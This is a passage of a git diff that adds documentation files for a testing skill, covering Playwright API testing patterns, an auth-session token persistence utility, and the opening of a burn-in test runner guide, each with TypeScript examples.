+    expect(body.data.users[0]).toHaveProperty('id');
+    expect(body.data.users[0]).toHaveProperty('name');
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: 'GraphQL User',
+            email: 'graphql@example.com',
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.createUser.id).toBeDefined();
+    expect(body.data.createUser.name).toBe('GraphQL User');
+  });
+
+  test('should handle GraphQL errors', async ({ apiRequest }) => {
+    const query = `
+      query GetUser($id: ID!) {
+        user(id: $id) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { id: 'non-existent' },
+      },
+    });
+
+    expect(status).toBe(200); // GraphQL returns 200 even for errors
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].message).toContain('not found');
+    expect(body.data.user).toBeNull();
+  });
+
+  test('should handle validation errors', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: '', // Invalid: empty name
+            email: 'invalid-email', // Invalid: bad format
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].extensions.code).toBe('BAD_USER_INPUT');
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL queries and mutations via POST
+- Variables passed in request body
+- GraphQL returns 200 even for errors (check `body.errors`)
+- Test validation and business logic errors
+
+### Example 5: Database Seeding and Cleanup via API
+
+**Context**: Use API calls to set up and tear down test data without direct database access.
+
+**Implementation**:
+
+```typescript
+// tests/api/with-data-setup.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Orders with Data Setup', () => {
+  let testUser: { id: string; email: string };
+  let testProducts: Array<{ id: string; name: string; price: number }>;
+
+  test.beforeAll(async ({ request }) => {
+    // Seed user via API
+    const userResponse = await request.post('/api/users', {
+      data: {
+        name: 'Test User',
+        email: `test-${Date.now()}@example.com`,
+      },
+    });
+    testUser = await userResponse.json();
+
+    // Seed products via API
+    testProducts = [];
+    for (const product of [
+      { name: 'Widget A', price: 29.99 },
+      { name: 'Widget B', price: 49.99 },
+      { name: 'Widget C', price: 99.99 },
+    ]) {
+      const productResponse = await request.post('/api/products', {
+        data: product,
+      });
+      testProducts.push(await productResponse.json());
+    }
+  });
+
+  test.afterAll(async ({ request }) => {
+    // Cleanup via API
+    if (testUser?.id) {
+      await request.delete(`/api/users/${testUser.id}`);
+    }
+    for (const product of testProducts) {
+      await request.delete(`/api/products/${product.id}`);
+    }
+  });
+
+  test('should create order with seeded data', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [
+          { productId: testProducts[0].id, quantity: 2 },
+          { productId: testProducts[1].id, quantity: 1 },
+        ],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(body.userId).toBe(testUser.id);
+    expect(body.items).toHaveLength(2);
+    expect(body.total).toBe(2 * 29.99 + 49.99);
+  });
+
+  test('should list user orders', async ({ apiRequest }) => {
+    // Create an order first
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [{ productId: testProducts[2].id, quantity: 1 }],
+      },
+    });
+
+    // List orders for user
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders',
+      params: { userId: testUser.id },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders.length).toBeGreaterThanOrEqual(1);
+    expect(body.orders.every((o: any) => o.userId === testUser.id)).toBe(true);
+  });
+});
+```
+
+**Key Points**:
+
+- `beforeAll`/`afterAll` for test data setup/cleanup
+- API-based seeding (no direct DB access needed)
+- Unique emails to prevent conflicts in parallel runs
+- Cleanup after all tests complete
+
+### Example 6: Background Job Testing with Recurse
+
+**Context**: Test async operations like background jobs, webhooks, and eventual consistency.
+
+**Implementation**:
+
+```typescript
+// tests/api/background-jobs.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Background Jobs', () => {
+  test('should process export job', async ({ apiRequest, recurse }) => {
+    // Trigger export job
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'users',
+        format: 'csv',
+        filters: { createdAfter: '2024-01-01' },
+      },
+    });
+
+    expect(job.id).toBeDefined();
+    expect(job.status).toBe('pending');
+
+    // Poll until job completes
+    const { body: completedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => response.body.status === 'completed',
+      {
+        timeout: 60000,
+        interval: 2000,
+        log: `Waiting for export job ${job.id} to complete`,
+      },
+    );
+
+    expect(completedJob.status).toBe('completed');
+    expect(completedJob.downloadUrl).toBeDefined();
+    expect(completedJob.recordCount).toBeGreaterThan(0);
+  });
+
+  test('should handle job failure gracefully', async ({ apiRequest, recurse }) => {
+    // Trigger job that will fail
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'invalid-type', // This will cause failure
+        format: 'csv',
+      },
+    });
+
+    // Poll until job fails
+    const { body: failedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => ['completed', 'failed'].includes(response.body.status),
+      { timeout: 30000 },
+    );
+
+    expect(failedJob.status).toBe('failed');
+    expect(failedJob.error).toBeDefined();
+    expect(failedJob.error.code).toBe('INVALID_EXPORT_TYPE');
+  });
+
+  test('should process webhook delivery', async ({ apiRequest, recurse }) => {
+    // Trigger action that sends webhook
+    const { body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+        webhookUrl: 'https://webhook.site/test-endpoint',
+      },
+    });
+
+    // Poll for webhook delivery status
+    const { body: webhookStatus } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/webhooks/order/${order.id}` }),
+      (response) => response.body.delivered === true,
+      { timeout: 30000, interval: 1000 },
+    );
+
+    expect(webhookStatus.delivered).toBe(true);
+    expect(webhookStatus.deliveredAt).toBeDefined();
+    expect(webhookStatus.responseStatus).toBe(200);
+  });
+});
+```
+
+**Key Points**:
+
+- `recurse` for polling async operations
+- Test both success and failure scenarios
+- Configurable timeout and interval
+- Log messages for debugging
+
+### Example 7: Service Authentication (No Browser)
+
+**Context**: Test authenticated API endpoints using tokens directly - no browser login needed.
+
+**Implementation**:
+
+```typescript
+// tests/api/authenticated.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Authenticated API Tests', () => {
+  let authToken: string;
+
+  test.beforeAll(async ({ request }) => {
+    // Get token via API (no browser!)
+    const response = await request.post('/api/auth/login', {
+      data: {
+        email: process.env.TEST_USER_EMAIL,
+        password: process.env.TEST_USER_PASSWORD,
+      },
+    });
+
+    const { token } = await response.json();
+    authToken = token;
+  });
+
+  test('should access protected endpoint with token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.email).toBe(process.env.TEST_USER_EMAIL);
+  });
+
+  test('should reject request without token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      // No Authorization header
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('UNAUTHORIZED');
+  });
+
+  test('should reject expired token', async ({ apiRequest }) => {
+    const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Expired token
+
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${expiredToken}`,
+      },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('TOKEN_EXPIRED');
+  });
+
+  test('should handle role-based access', async ({ apiRequest }) => {
+    // User token (non-admin)
+    const { status } = await apiRequest({
+      method: 'GET',
+      path: '/api/admin/users',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(403); // Forbidden for non-admin
+  });
+});
+```
+
+**Key Points**:
+
+- Token obtained via API login (no browser)
+- Token reused across all tests in describe block
+- Test auth, expired tokens, and RBAC
+- Pure API testing without UI
+
+### Example 8: Operation-Based API Testing (OpenAPI / Code Generators)
+
+**Context**: When your project uses code-generated operation definitions from an OpenAPI spec, leverage the operation-based overload of `apiRequest` (v3.14.0+) instead of manual `method`/`path` extraction. This eliminates `typeof` assertions and provides full type inference for request body, response, and query parameters.
+
+**Implementation**:
+
+```typescript
+// tests/api/operations.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.describe('API Tests with Generated Operations', () => {
+  test('should create entity with full type safety', async ({ apiRequest }) => {
+    // Operation object from code generator — contains path, method, and type info
+    const { status, body } = await apiRequest({
+      operation: createEntityOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: entityInput, // Compile-time typed from operation.request
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined(); // body typed from operation.response
+  });
+
+  test('should list with typed query parameters', async ({ apiRequest }) => {
+    // query field replaces manual string concatenation
+    const { body } = await apiRequest({
+      operation: listEntitiesOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      query: { page: 0, page_size: 10, status: 'active' },
+    });
+
+    expect(body.items).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+  });
+
+  test('should poll async operation until complete', async ({ apiRequest, recurse }) => {
+    const { body: job } = await apiRequest({
+      operation: startJobOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: { type: 'export' },
+    });
+
+    await recurse(
+      async () =>
+        apiRequest({
+          operation: getJobOp({ workspaceId, jobId: job.id }),
+          headers: getHeaders(workspaceId),
+        }),
+      (res) => res.body.status === 'completed',
+      { timeout: 60000, interval: 2000 },
+    );
+  });
+});
+```
+
+**Key Points**:
+
+- `operation` replaces `method` + `path` — mutually exclusive at compile time
+- Types for body, response, and query all inferred from the operation definition
+- Works with any code generator using structural typing (no imports from playwright-utils needed in generator)
+- Composable with `recurse`, `validateSchema`, and all existing `apiRequest` features
+- Preferred approach over `typeof operation.response` for generated operations
+
+## API Test Configuration
+
+### Playwright Config for API-Only Tests
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  testDir: './tests/api',
+
+  // No browser needed for API tests
+  use: {
+    baseURL: process.env.API_URL || 'http://localhost:3000',
+    extraHTTPHeaders: {
+      Accept: 'application/json',
+      'Content-Type': 'application/json',
+    },
+  },
+
+  // Faster without browser overhead
+  timeout: 30000,
+
+  // Run API tests in parallel
+  workers: 4,
+  fullyParallel: true,
+
+  // No screenshots/traces needed for API tests
+  reporter: [['html'], ['json', { outputFile: 'api-test-results.json' }]],
+});
+```
+
+### Separate API Test Project
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  projects: [
+    {
+      name: 'api',
+      testDir: './tests/api',
+      use: {
+        baseURL: process.env.API_URL,
+      },
+    },
+    {
+      name: 'e2e',
+      testDir: './tests/e2e',
+      use: {
+        baseURL: process.env.APP_URL,
+        ...devices['Desktop Chrome'],
+      },
+    },
+  ],
+});
+```
+
+## Comparison: API Tests vs E2E Tests
+
+| Aspect              | API Test               | E2E Test                    |
+| ------------------- | ---------------------- | --------------------------- |
+| **Speed**           | ~50-100ms per test     | ~2-10s per test             |
+| **Stability**       | Very stable            | More flaky (UI timing)      |
+| **Setup**           | Minimal                | Browser, context, page      |
+| **Debugging**       | Clear request/response | DOM, screenshots, traces    |
+| **Coverage**        | Service logic          | User experience             |
+| **Parallelization** | Easy (stateless)       | Complex (browser resources) |
+| **CI Cost**         | Low (no browser)       | High (browser containers)   |
+
+## Related Fragments
+
+- `api-request.md` - apiRequest utility details
+- `recurse.md` - Polling patterns for async operations
+- `auth-session.md` - Token management
+- `contract-testing.md` - Pact contract testing
+- `test-levels-framework.md` - When to use which test level
+- `data-factories.md` - Test data setup patterns
+
+## Anti-Patterns
+
+**DON'T use E2E for API validation:**
+
+```typescript
+// Bad: Testing API through UI
+test('validate user creation', async ({ page }) => {
+  await page.goto('/admin/users');
+  await page.fill('#name', 'John');
+  await page.click('#submit');
+  await expect(page.getByText('User created')).toBeVisible();
+});
+```
+
+**DO test APIs directly:**
+
+```typescript
+// Good: Direct API test
+test('validate user creation', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'John' },
+  });
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**DON'T ignore API tests because "E2E covers it":**
+
+```typescript
+// Bad thinking: "Our E2E tests create users, so API is tested"
+// Reality: E2E tests one happy path; API tests cover edge cases
+```
+
+**DO have dedicated API test coverage:**
+
+```typescript
+// Good: Explicit API test suite
+test.describe('Users API', () => {
+  test('creates user', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles duplicate email', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('validates required fields', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles malformed JSON', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('rate limits requests', async ({ apiRequest }) => {
+    /* ... */
+  });
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/auth-session.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/auth-session.md
new file mode 100644
index 0000000..905472f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/auth-session.md
@@ -0,0 +1,548 @@
+# Auth Session Utility
+
+## Principle
+
+Persist authentication tokens to disk and reuse across test runs. Support multiple user identifiers, ephemeral authentication, and worker-specific accounts for parallel execution. Fetch tokens once, use everywhere. **Works for both API-only tests and browser tests.**
+
+## Rationale
+
+Playwright's built-in authentication works but has limitations:
+
+- Re-authenticates for every test run (slow)
+- Single user per project setup
+- No token expiration handling
+- Manual session management
+- Complex setup for multi-user scenarios
+
+The `auth-session` utility provides:
+
+- **Token persistence**: Authenticate once, reuse across runs
+- **Multi-user support**: Different user identifiers in same test suite
+- **Ephemeral auth**: On-the-fly user authentication without disk persistence
+- **Worker-specific accounts**: Parallel execution with isolated user accounts
+- **Automatic token management**: Checks validity, renews if expired
+- **Flexible provider pattern**: Adapt to any auth system (OAuth2, JWT, custom)
+- **API-first design**: Get tokens for API tests without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic Auth Session Setup
+
+**Context**: Configure global authentication that persists across test runs.
+
+**Implementation**:
+
+```typescript
+// Step 1: Configure in global-setup.ts
+import { authStorageInit, setAuthProvider, configureAuthSession, authGlobalInit } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './auth/custom-auth-provider';
+
+async function globalSetup() {
+  // Ensure storage directories exist
+  authStorageInit();
+
+  // Configure storage path
+  configureAuthSession({
+    authStoragePath: process.cwd() + '/playwright/auth-sessions',
+    debug: true,
+  });
+
+  // Set custom provider (HOW to authenticate)
+  setAuthProvider(myCustomProvider);
+
+  // Optional: pre-fetch token for default user
+  await authGlobalInit();
+}
+
+export default globalSetup;
+
+// Step 2: Create auth fixture
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './custom-auth-provider';
+
+// Register provider early
+setAuthProvider(myCustomProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests
+test('authenticated request', async ({ authToken, request }) => {
+  const response = await request.get('/api/protected', {
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(response.ok()).toBeTruthy();
+});
+```
+
+**Key Points**:
+
+- Global setup runs once before all tests
+- Token fetched once, reused across all tests
+- Custom provider defines your auth mechanism
+- Order matters: configure, then setProvider, then init
+
+### Example 2: Multi-User Authentication
+
+**Context**: Testing with different user roles (admin, regular user, guest) in same test suite.
+
+**Implementation**:
+
+```typescript
+import { test } from '../support/auth/auth-fixture';
+
+// Option 1: Per-test user override
+test('admin actions', async ({ authToken, authOptions }) => {
+  // Override default user
+  authOptions.userIdentifier = 'admin';
+
+  const { authToken: adminToken } = await test.step('Get admin token', async () => {
+    return { authToken }; // Re-fetches with new identifier
+  });
+
+  // Use admin token
+  const response = await request.get('/api/admin/users', {
+    headers: { Authorization: `Bearer ${adminToken}` },
+  });
+});
+
+// Option 2: Parallel execution with different users
+test.describe.parallel('multi-user tests', () => {
+  test('user 1 actions', async ({ authToken }) => {
+    // Uses default user (e.g., 'user1')
+  });
+
+  test('user 2 actions', async ({ authToken, authOptions }) => {
+    authOptions.userIdentifier = 'user2';
+    // Uses different token for user2
+  });
+});
+```
+
+**Key Points**:
+
+- Override `authOptions.userIdentifier` per test
+- Tokens cached separately per user identifier
+- Parallel tests isolated with different users
+- Worker-specific accounts possible
+
+### Example 3: Ephemeral User Authentication
+
+**Context**: Create temporary test users that don't persist to disk (e.g., testing user creation flow).
+
+**Implementation**:
+
+```typescript
+import { applyUserCookiesToBrowserContext } from '@seontechnologies/playwright-utils/auth-session';
+import { createTestUser } from '../utils/user-factory';
+
+test('ephemeral user test', async ({ context, page }) => {
+  // Create temporary user (not persisted)
+  const ephemeralUser = await createTestUser({
+    role: 'admin',
+    permissions: ['delete-users'],
+  });
+
+  // Apply auth directly to browser context
+  await applyUserCookiesToBrowserContext(context, ephemeralUser);
+
+  // Page now authenticated as ephemeral user
+  await page.goto('/admin/users');
+
+  await expect(page.getByTestId('delete-user-btn')).toBeVisible();
+
+  // User and token cleaned up after test
+});
+```
+
+**Key Points**:
+
+- No disk persistence (ephemeral)
+- Apply cookies directly to context
+- Useful for testing user lifecycle
+- Clean up automatic when test ends
+
+### Example 4: Testing Multiple Users in Single Test
+
+**Context**: Testing interactions between users (messaging, sharing, collaboration features).
+
+**Implementation**:
+
+```typescript
+test('user interaction', async ({ browser }) => {
+  // User 1 context
+  const user1Context = await browser.newContext({
+    storageState: './auth-sessions/local/user1/storage-state.json',
+  });
+  const user1Page = await user1Context.newPage();
+
+  // User 2 context
+  const user2Context = await browser.newContext({
+    storageState: './auth-sessions/local/user2/storage-state.json',
+  });
+  const user2Page = await user2Context.newPage();
+
+  // User 1 sends message
+  await user1Page.goto('/messages');
+  await user1Page.fill('#message', 'Hello from user 1');
+  await user1Page.click('#send');
+
+  // User 2 receives message
+  await user2Page.goto('/messages');
+  await expect(user2Page.getByText('Hello from user 1')).toBeVisible();
+
+  // Cleanup
+  await user1Context.close();
+  await user2Context.close();
+});
+```
+
+**Key Points**:
+
+- Each user has separate browser context
+- Reference storage state files directly
+- Test real-time interactions
+- Clean up contexts after test
+
+### Example 5: Worker-Specific Accounts (Parallel Testing)
+
+**Context**: Running tests in parallel with isolated user accounts per worker to avoid conflicts.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  workers: 4, // 4 parallel workers
+  use: {
+    // Each worker uses different user
+    storageState: async ({}, use, testInfo) => {
+      const workerIndex = testInfo.workerIndex;
+      const userIdentifier = `worker-${workerIndex}`;
+
+      await use(`./auth-sessions/local/${userIdentifier}/storage-state.json`);
+    },
+  },
+});
+
+// Tests run in parallel, each worker with its own user
+test('parallel test 1', async ({ page }) => {
+  // Worker 0 uses worker-0 account
+  await page.goto('/dashboard');
+});
+
+test('parallel test 2', async ({ page }) => {
+  // Worker 1 uses worker-1 account
+  await page.goto('/dashboard');
+});
+```
+
+**Key Points**:
+
+- Each worker has isolated user account
+- No conflicts in parallel execution
+- Token management automatic per worker
+- Scales to any number of workers
+
+### Example 6: Pure API Authentication (No Browser)
+
+**Context**: Get auth tokens for API-only tests using auth-session disk persistence.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create API-only auth provider (no browser needed)
+// playwright/support/api-auth-provider.ts
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const apiAuthProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+  getUserIdentifier: (options) => options.userIdentifier || 'api-user',
+
+  extractToken: (storageState) => {
+    // Token stored in localStorage format for disk persistence
+    const tokenEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'auth_token');
+    return tokenEntry?.value;
+  },
+
+  isTokenExpired: (storageState) => {
+    const expiryEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'token_expiry');
+    if (!expiryEntry) return true;
+    return Date.now() > parseInt(expiryEntry.value, 10);
+  },
+
+  manageAuthToken: async (request, options) => {
+    const email = process.env.TEST_USER_EMAIL;
+    const password = process.env.TEST_USER_PASSWORD;
+
+    if (!email || !password) {
+      throw new Error('TEST_USER_EMAIL and TEST_USER_PASSWORD must be set');
+    }
+
+    // Pure API login - no browser!
+    const response = await request.post('/api/auth/login', {
+      data: { email, password },
+    });
+
+    if (!response.ok()) {
+      throw new Error(`Auth failed: ${response.status()}`);
+    }
+
+    const { token, expiresIn } = await response.json();
+    const expiryTime = Date.now() + expiresIn * 1000;
+
+    // Return storage state format for disk persistence
+    return {
+      cookies: [],
+      origins: [
+        {
+          origin: process.env.API_BASE_URL || 'http://localhost:3000',
+          localStorage: [
+            { name: 'auth_token', value: token },
+            { name: 'token_expiry', value: String(expiryTime) },
+          ],
+        },
+      ],
+    };
+  },
+};
+
+export default apiAuthProvider;
+
+// Step 2: Create auth fixture
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import apiAuthProvider from './api-auth-provider';
+
+setAuthProvider(apiAuthProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests - token persisted to disk!
+// tests/api/authenticated-api.spec.ts
+import { test } from '../support/fixtures';
+import { expect } from '@playwright/test';
+
+test('should access protected endpoint', async ({ authToken, apiRequest }) => {
+  // authToken is automatically loaded from disk or fetched if expired
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/me',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+
+test('should create resource with auth', async ({ authToken, apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    headers: { Authorization: `Bearer ${authToken}` },
+    body: { items: [{ productId: 'prod-1', quantity: 2 }] },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Token persisted to disk (not in-memory) - survives test reruns
+- Provider fetches token once, reuses until expired
+- Pure API authentication - no browser context needed
+- `authToken` fixture handles disk read/write automatically
+- Environment variables validated with clear error message
+
+### Example 7: Service-to-Service Authentication
+
+**Context**: Test microservice authentication patterns (API keys, service tokens) with proper environment validation.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-auth.spec.ts
+import { test as base, expect } from '@playwright/test';
+import { test as apiFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { mergeTests } from '@playwright/test';
+
+// Validate environment variables at module load
+const SERVICE_API_KEY = process.env.SERVICE_API_KEY;
+const INTERNAL_SERVICE_URL = process.env.INTERNAL_SERVICE_URL;
+
+if (!SERVICE_API_KEY) {
+  throw new Error('SERVICE_API_KEY environment variable is required');
+}
+if (!INTERNAL_SERVICE_URL) {
+  throw new Error('INTERNAL_SERVICE_URL environment variable is required');
+}
+
+const test = mergeTests(base, apiFixture);
+
+test.describe('Service-to-Service Auth', () => {
+  test('should authenticate with API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': SERVICE_API_KEY },
+    });
+
+    expect(status).toBe(200);
+    expect(body.status).toBe('healthy');
+  });
+
+  test('should reject invalid API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': 'invalid-key' },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('INVALID_API_KEY');
+  });
+
+  test('should call downstream service with propagated auth', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/internal/aggregate-data',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: {
+        'X-API-Key': SERVICE_API_KEY,
+        'X-Request-ID': `test-${Date.now()}`,
+      },
+      body: { sources: ['users', 'orders', 'inventory'] },
+    });
+
+    expect(status).toBe(200);
+    expect(body.aggregatedFrom).toHaveLength(3);
+  });
+});
+```
+
+**Key Points**:
+
+- Environment variables validated at module load with clear errors
+- API key authentication (simpler than OAuth - no disk persistence needed)
+- Test internal/service endpoints
+- Validate auth rejection scenarios
+- Correlation ID for request tracing
+
+> **Note**: API keys are typically static secrets that don't expire, so disk persistence (auth-session) isn't needed. For rotating service tokens, use the auth-session provider pattern from Example 6.
+
+## Custom Auth Provider Pattern
+
+**Context**: Adapt auth-session to your authentication system (OAuth2, JWT, SAML, custom).
+
+**Minimal provider structure**:
+
+```typescript
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const myCustomProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+
+  getUserIdentifier: (options) => options.userIdentifier || 'default-user',
+
+  extractToken: (storageState) => {
+    // Extract token from your storage format
+    return storageState.cookies.find((c) => c.name === 'auth_token')?.value;
+  },
+
+  extractCookies: (tokenData) => {
+    // Convert token to cookies for browser context
+    return [
+      {
+        name: 'auth_token',
+        value: tokenData,
+        domain: 'example.com',
+        path: '/',
+        httpOnly: true,
+        secure: true,
+      },
+    ];
+  },
+
+  isTokenExpired: (storageState) => {
+    // Check if token is expired
+    const expiresAt = storageState.cookies.find((c) => c.name === 'expires_at');
+    return Date.now() > parseInt(expiresAt?.value || '0');
+  },
+
+  manageAuthToken: async (request, options) => {
+    // Main token acquisition logic
+    // Return storage state with cookies/localStorage
+  },
+};
+
+export default myCustomProvider;
+```
+
+## Integration with API Request
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('authenticated API call', async ({ apiRequest, authToken }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Pure API testing patterns (no browser)
+- `overview.md` - Installation and fixture composition
+- `api-request.md` - Authenticated API requests
+- `fixtures-composition.md` - Merging auth with other utilities
+
+## Anti-Patterns
+
+**❌ Calling setAuthProvider after globalSetup:**
+
+```typescript
+async function globalSetup() {
+  configureAuthSession(...)
+  await authGlobalInit()  // Provider not set yet!
+  setAuthProvider(provider)  // Too late
+}
+```
+
+**✅ Register provider before init:**
+
+```typescript
+async function globalSetup() {
+  authStorageInit()
+  configureAuthSession(...)
+  setAuthProvider(provider)  // First
+  await authGlobalInit()     // Then init
+}
+```
+
+**❌ Hardcoding storage paths:**
+
+```typescript
+const storageState = './auth-sessions/local/user1/storage-state.json'; // Brittle
+```
+
+**✅ Use helper functions:**
+
+```typescript
+import { getTokenFilePath } from '@seontechnologies/playwright-utils/auth-session';
+
+const tokenPath = getTokenFilePath({
+  environment: 'local',
+  userIdentifier: 'user1',
+  tokenFileName: 'storage-state.json',
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/burn-in.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/burn-in.md
new file mode 100644
index 0000000..d8b9f9e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/burn-in.md
@@ -0,0 +1,273 @@
+# Burn-in Test Runner
+
+## Principle
+
+Use smart test selection with git diff analysis to run only affected tests. Filter out irrelevant changes (configs, types, docs) and control test volume with percentage-based execution. Reduce unnecessary CI runs while maintaining reliability.
+
+## Rationale
+
+Playwright's `--only-changed` triggers all affected tests:
+
+- Config file changes trigger hundreds of tests
+- Type definition changes cause full suite runs
+- No volume control (all or nothing)
+- Slow CI pipelines
+
+The `burn-in` utility provides:
+
+- **Smart filtering**: Skip patterns for irrelevant files (configs, types, docs)
+- **Volume control**: Run percentage of affected tests after filtering
+- **Custom dependency analysis**: More accurate than Playwright's built-in
+- **CI optimization**: Faster pipelines without sacrificing confidence
+- **Process of elimination**: Start with all → filter irrelevant → control volume
+
+## Pattern Examples
+
+### Example 1: Basic Burn-in Setup
+
+**Context**: Run burn-in on changed files compared to main branch.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create burn-in script
+// playwright/scripts/burn-in-changed.ts
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in'
+
+async function main() {
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+    baseBranch: 'main'
+  })
+}
+
+main().catch(console.error)
+
+// Step 2: Create config
+// playwright/config/.burn-in.config.ts
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in'
+
+const config: BurnInConfig = {
+  // Files that never trigger tests (first filter)
+  skipBurnInPatterns: [
